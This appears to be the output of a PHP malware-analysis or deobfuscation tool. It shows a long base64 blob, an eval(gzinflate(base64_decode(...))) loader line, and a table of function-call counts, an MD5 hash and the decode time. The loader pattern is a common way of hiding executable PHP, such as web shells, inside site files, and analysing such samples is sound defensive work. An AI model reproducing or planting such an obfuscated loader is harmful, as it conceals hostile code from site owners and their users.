i8Oj04OooX3Os3VX7tGG7unx+8Oqmaqy1vHvGGybCs31UINcZv+W1vugf9hTTX3Xe93R4p1sKJLUraA91Cg6zn28Yo1pVrNFsAGNNvpcMIPgmiBkbt/NBjm784WWfqW2XEv2CuLm17ESh3obUrEgLMq/VWKz3TDcPyI6m6Fsj0GVrBbeai3K3ERUe7mpoFx9ouBaTNh5ibtf5lST9Ge1kSO2YUuUft11gaWfg8CKroejLCSI8LNvePeHkET05F8xsJN5e7n7QHtLySYSBb3tk4h55gQwCC9EVH9gzsOfojJ2jDN9hynEocwkYHy4VPu1/VpK8W8V82j/Q/8pKOWKFJhOijyvfp5CMLoNApXp3chWK/YiGC9prpcx/ldFuqhht+TgW19wRrL7Jutgk/Ec5droXrovAOffwHCKhBt+aa7InKtQcmA5gH8rwWMdVzaP2nup+NJ1icPvJcpcLp09OCXB1+sP3pU+vZjMiohyPPR4BbQlh6tP/gC08qXnLD9wAN8AaI4/XGUTSRwCxMR1NDebAIHht4kPz+Fq6oA4wdfQPVfKNJVZqkh6jSZBI9ZqoYv7mQluO2eXMPUuhn1NFICfImvdzZKK72E7gBsrawhCOFNrkwu/DQ5KguSJ9l1WolLtZIkAZUzCjXGpauljZjKZJ0SJZZ2S4+fbmzEJaThC78kqnUVS1mMhNyZ4jhi2MRAdbaIwqyjotAoayweBtWLZJX4IR1dDvCYE3vIUPyQEcQlhY4FFKHqQn8iqja9AIxfoBhjBqyfdyORlfU7AxTngBghDGZ5p/3LnS4048ssgpFHVHGoxksURzAaO/QDN9SN8xVV3flKaX13xaHMjenONZz9vHvxaJfqicobsDlEVLpOLu107i1OX9G7FrQA0gw7Tw7GqccCi9LMdBfda5j+Sa93z7VG30NAcTsYtZdZURr2HotKF8FcW5W7tLJ+q3fTTk/SXqeiUPP4aohmOs3Gk3EFn77oNbM+RhJwJylrZyv00stKqbFbWjGgpfYgHdPzuoRlxa6IcgZ8emoncwe+X2NSxZm+BBWqLqLqIqruxeCm1+ZHfAG+RGUeirra7TGoW5c3V5UVqkKhXVFTRnVB2xKDi/K1SsX5MK4oQlzSGEDzgiXQHLSzCTfS4NPdMYYByM36b88ra4/wv/K3OOXhv2bz5evDg2aTp3A/vX2BG8RGKdp5NuwOS98qIpqDPpRfgRWCeNciaGrp2W40h3zRR7Y7sQEl0y58znEM/HIymmFQlslAZ/FP7FgQmKpXmeVxPyiw0wG1/RTlpKK8qkdYUeEOlarXx/5Fbi6Mb1qtdDym2UB6TClSdVIS1wGJdGUOUyLaAhOquxIraH71theKWpmjQy6BuZ2oSt+JxWDmjnppFt/hq5j0aqkOI8gMbjSjuWRA2cqF+AqKPqmWnsbVkoUYpR9TfFSqqKpq6XHsFMiDbOB/82EQJEYAzZl9wqErJvR+lMqo6tBlOGtwCMeofiS4N4ntytPXMlWhuNRolDbyk/gNcmcmBicr7Btb+M536VahVLOZXv1Ww1FMoW3UXArVaN6MB6NJcbOAu3eyq/GrwSFsh2XL6L1Uyz2g/GtN/+lALhnT9iBjXLQYOnnN5L7L9LOtvjshX+fxdbEEk/6Mxo4GzdcSj0EPHFyDQlEpj5MOaXl4Uq1EZncwnqAG0p1Mhlvr6yultVK5eXJw/MPB8Vn03enp2+Z3Ryen0QWkR+uWWRIqTy8jVGullWeI5Lr9VQW2Ce2KmgSCo3jwPqTXgm4yho3accraiCLbfVq3SS/Ka96oh85pOm/ict0TGN6WHFuuTSyh0xCfn3Txz7A06HhSdNBrqx3MmPR4+xtHi1+PU2lS+pWvUdVSUPTb5DK/azlIgYg1i1zIM6pkeJOrpGqhvdmrVFM1Cb+dDG7QNKQLMVmryAztb7FW5Wgcp2atpji0TjV0ZqprmUOl6D/qmCBB+q+jmOqGuKNtWBPzlaPRfjYSCl42bt4GAIzizmQDsIVHKBeW2qn/+7bVhe2wAAAR8PTJE6EOBFovgAPTRNb1EPg8z2wlq73+5Q4OU/H0KXN43WGfhQ6x1FUHtbNRoH8wU59timpqdcSFjCYu2fTSWkN8cdcZuWDS1zw+8kXZiDXgeDxvDJv/4qbfo3cDVYpkS7qYz4uDU8oXSIp7kCBdknsgt1QCnIshD7U6Ea4QPgRQ0pBProhw25kPNS/053hIi3yR9CNHfhDkFkkV3XqtzOGAZ31nOi1qUFmLIhqFe/FAO0AhHsi5JcYreSA3PWm3X7A1/DS5qlgWZxebjteqs6rMPlFf8haSRb+meCxjKeasHd5L+4y1QH8maYadZSYpz+hnut+5qw3HU9iLOPAcnX2vh8r2zGrbcoRMRUvyb7NIEIEoXtwfPgsvatGm/J3Tg4JrL0ioUmtu2FwT0ATMkoIGZwCzsQ1Cu7RTeoJ/V1f1znWUipnlKxjGoMT9NsJF68uIL8a9NB1WvrpPW9waVFMA+3DQH6dhIxeBanUaq33x7vjw6O1pE3W37w729g+OUW+0+V9EP9X2qNKtEj2M+4Yeko2qOvOtsopslcyjzNpQQjAxbl+UggOrCcjSy0pTCnrtDszAWjvtZddoLN2NhJZAZdQGpeTxE7O/heEqqUMYZbUI6g4OQrmA525aa7jpMcSt5BTUBYUvYe8KdWY0cFi73N6Ta7cWbbZDNqoEGdPWLIpKf/0rfcO8qxvLqaz3qN+blW67QB+dhZcuUxQCplpvqy3k/RJzzdlsVcoJkHYZ1KtHyYRMfwAjbMI29TKnT9s8Ok60qpVjGWUCfiUtjg2kfIqs11B925Ky4VdRxOXVaqFTNJRJNC19dh/tPONNVlmdmxaAPdMz1mx3NFrYu+miv/5aemi+4pIjMiJtWdI9atVzr8cW2sNyWgRCYP1Z3m5XqAo4W9Wc7S8bh2R/cE/wh+xplpDn6K3XyaZkPCczn+lRYmrowoH8JW11BzDqD2s1nyOtvR+jIbdPb3sj1VpAkk4/BpG3Fu2su4VqNRjV0h0M2lU2xjfMx92bSXtw22/q2iuRrj4i86Ky38vGMeFrJm1NNcDSLQrikECi7t0Fmzk5B1TJefyQlRAzf/QIs+w0FoG1oD1g2zMi09kazsrOaHBdQhx6E7yE/Co0OtN5n14exwqR5avxPTrJVUSW20wu35WjQa93mbQ+5HpTr3/dtoXr31325evZu2WGQ6QeH/zt3cHJafPd8Ws1TNBfHz9StyKvSz86lvviMaSquSmyzaioKKPtVkmjrig+VIqXHXbCHlJcXh4dHh79eHj0Yu/09dH3qLzw0fh9lRuoxenY5TUchFHNrL2kZkZruqWeBuQKzMXT1R38RfDy7Ml2KMkd96jRZVOVtdVnsc+7vszGKGmtSlKm0tZiKsb4+d5+yVTXS/tXk25pZQ0mD/wW5Am1xyVnkk166dqjnXX6Eaia0sehvekp5kBleLA4HqatLOm1utBNFVXmbOMinr/h+X5QIlBnfxOWZZmcHzBRSSS0UxIJunvO6hdVtpj6y0UP3NZ5f2Utu+aHPlbgo1pyMXtzxcnzp4Q481McoD1oHQ8GaKS1a3z/6MW7NwffnzaPj45O1SH19QxdJx2wkxfHr2G1fL/35iDPsfcHrRK+sFSKdBUwSNezEupikMboIr2c6XkSQG4eNFnHIWWggsMMWpEa91q0TgxiDUQdr0SRA8uQX0OpXzhwD/RBibWAmEqCRhDi/+pwVps/rAVDWnn0BnahttweDYboaLE/GIxuk9nYjMto4aA8MKfOPpLXuIygvOq5djbCXrvqDS45naztj6CHXx0ePW8efX/49/3Xx35XUCnsBvjhOl+EqkOgkH29CFa1sqNGlGlrozWOSGOlbgw7lIk36p9iszoxeAqGTdZ0dqENf84+UNnQBGAM26uvcHulfB1duiTtHnWedTDfaQGKRX8BeeiEgQtJ4FCTzOGUa4/OzmvNC/PnfK2CjO9XmPxx+cuoak+mlIcF3sUEFaYEVXzrKQIvDl/j5Hv9FqdeuYOjSW4OPtxPIGGPf9w73j/Yx180UbNOhc/1mh8TNMly4Wrp5evD04Pj5g97h6/3904PADnz7HI2pDFguO0HwuYr8TCxC9EwmMFiM4RO8+YIyu3t7xO90BXlwcd0NMra6anaViinGrYIGCcPav6Lo6P/fn1wFhnm19QA6N+M1eEy2zs8gTWMHmMHz9+9ar452gemqU7LcOpY1hntwCDSDlEm7uOfEjmn024RrRjAXGG9tGFXXOGGnxx983SjzgIhNy5v905Ofjw63qdqHUcYNqaTu7ZpTWLur5W8DeJJOqENYqJs1LAD+iVf7i5iCZkjY+8FKl5MRK6UYo8hglBvJnL8sfFBtsPlsyGXVmMvk3nIYduUtkFsKc7r3I85P0dvEBRK2vjiS0F0EmFJSOaYjVKtpDUaA/r2u7fw+/AlRb/Vs8mp9uEcjk8DIfXpbIrD0FZFSav+pbD0nbLM2spofArhmQlaaO4jkI/7LE20DAaeTZzIuMnwUS7I4GgdVun65HqovtQvbHjZOlH101vhuIXsHTQY5d5ls43HV9A/CzA6Inxfiy5yNdtX8ot62+B2DRgGMC6xtyi19maUeXzC3fvo421nqtze3q4p16HgXgpb2BKenqaNwv3TElTlg2wzW5AkPsNCI9/DkkRV29W6CUApFshNGHFICPigWRyrCQ+bVnZkc5CQf2TEmZGueHFN/cHfbtIRbLuyvCth5ezn9Yv4/BnsHEjuROU6dg8W1vwnjN4izfOhlzg7S2zvgB8wKMY6kNFkt4UVK1LjadOR3VjZ4sjOn9fPnz1D9qq7Cab1l4ro3O5GY9ZK/QY7NNwOh8lVWnuy8STSMhavto0OB1dXcuTfmTSnG2il3CS8V0Rwgn8+mDTf7alEHx64mwXX0K/fFkFfDib76YSeCxXwOqlisWG7NSFEFlAMXPgFqwumISciVazUvI7A2gQvCG8ll5Nhxngs3j2dJBZw1ZmR8CVJwj2SpN10sDUJROiRhUKHPGbUBzIqI70pQ389II5dbuf8vS2VeV/wnH+2GFhUvd4kHyQC1PeQmVJyJfpXRj47D7QF7lXa5wdxxVi98LIqXqeYWszMVRQRG/IK13Z90Sq/gRKyKOBTXJW8NTYCrXJrHbZXw5tJFKPVPWulbwXvQujr5CprNf95M5ik4+bVsKWO/sqo+kJ9LeA9k9SaO0vRXynyC4WLQb7BTwrYkOr0NBxIPfjLfDgbjnvJuJtyyJh4+y4q4dpn57LbpPcBuFLrBsYa3cY1hdhPUCWzxQcP9Bb6x25CWzAzIWu74y7a5NTW3Eh2bKFlTLK44dsyDVv84AuyHTteBQ+s34EAp1gIrNbkrAMo/1fWjBr/gOznb9PR9VjorGo3BN2GnD13du8UgeQh/lYQpb+WNr7++mtyjhFeHlVK1famwWWTNFKU3V9od1izg4LctN9utnpp0q9Ybq8rZRpc5DZT1SBPJ/B6NVfBtoMWMIMmrm+aNRW357QBnaQudPk0IyrvmMscCxuiGOPhaIDOdcBzXiR4uUYNcmBGSyS+dkaXSkhNHmawQ/znDTAHZ1xJJqkDBP/wQCLOnxOgMJFNGcMK7yeORDk5UEk+P7CrX8zYFZSdDWIQ1KlarykwzedN+AiPtz0yF+3rt8iGq6XegOZpNtzEXyhWmJlm4+ds5BByCPUySK1QQV9wvIOv5t4rEB08orKucQmwbEE1FYX3WWlllo5XSpDWH6wYhZuWBfkU6YNl5ot5ZggMC/sNBvGkBYxlQkGk49gfac6k4w7ye+VPDGQu+9Q4gSNtPOvxfgXyecXDa6ezYboF82XYy1okRdbfJx8TxscWEZouYUpfd0YgOY5TDi/ygmyMzVcHp2cRsk4Usvw1GGVXIKR61IG0usRUunf/vATRsg8LrDdI2rJ75hDqFrlKiW240/m/0xl2nZnXVO7k4L/xKrRdjUp75ANULOMPzCuYBCcHJWh/iQFWbCu/nbMpB8Xa3zyOU+pFJa0MhX6+Qf+wJEiy8MEOgTxUMMQQhEt7OjUpqF/qnQZ3hgV2tiQ1hCpFVY2WKpIzmDppC9RyymerbHmk5hJOy4JNggYhP2MzGG5B2Kx0lF4TcYN0vuoUo6Lw9FCwFUur1dDzqD9w54UxL+ruB/bww5TLbTO+H5RQiy+pmtRWwquJaGUd31qZlqHmTZL13QkAcNfp+CXsZGBY3FUgcgp0j5UXCML7oJMD5IYSHW8ojC5c2+0NrnDvQRxZDvmPGTOvOUN+m+EzxXZ3yDwXHU8k/fRdtG+kXKdK3NkSH+PxVAxyhXbGNWSTo0EPHQlrhJP5qmi85n7Ahi3PBQUENc9e+jHtVeLSLnsGeWpJ6c5OBrv0vGkwpkmwIsytioOaRhwOmHHnuZcmTewRWMTJWVLEZc0E8Rt8un9iT9I0IhC3TMVWKUeY7ZYAzbCeVl6fNJ8fna4o1VALaOUBFFqJPFVg3EA1vsXdEXsfmcuOuT0Rh3Siu6U+CUojZeGh7v4Z0TC/9v5AJ0V4gpkH6ACHaSuxw7PriwfykE/PtcNFnfdF+T2qyjs7OwdHLx/sKHGPHLCxgheFhdBe2X1wm/Wh1rWenRgrebzbD3bWucTuA0BKtXAnvGeHe9sHyCGuJ80xbRpao9bjzUrYysQbRzzbTHEEo73nL/YPXr767vX/++/DN98fvf3b8cnpux9+/Onv/0guW+20c9XN3n/oXfcHw3+OxpObj7fT2b826puPn3z19Otv/gtUzrI6qW2UntLWkS/BQcZtFzctFZVfqzEr5osDyEOYhjOgmojeqBrDqMrC18mVDRYPRhzbxSElaM9njeMx3q/yOB/5tIEKOGaul+dcAwDAfL4AVMb5ejrY6/UKGJ0FVxMM+6CbjJW2FuboNr/CGm4fsrANymg+LqiM4LDx+uFhI0y5R1Ar/o4eNSaVyZrdXA2Y3z0meUVsaikGai0l5BQFvf76rZIIYsk9DDW3lfRP0c3l3Sir5OhhP3BygymhfUyrwnIdi/4ErqE1d1zAZniUznV5M5kM+tiVeeb63ORVpPS5P3P9IgBCjlPUgRUPnSXJUWFF82xzAhMBJhWMlxJ16vjO7KV1GG6PHNDjYIgQD0/ju9Ic4yzM2ayPD/ZF+blC6bhdwfmFl/JGpVai/HNw1tP08anhuUiXzbD46/5kgIycKRF8iQh78P8B';
eval(gzinflate(base64_decode($hc928ce69e3)));
Function Calls
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | c14df23822b6e76415e80c7db6b1a084 |
| Eval Count | 1 |
| Decode Time | 627 ms |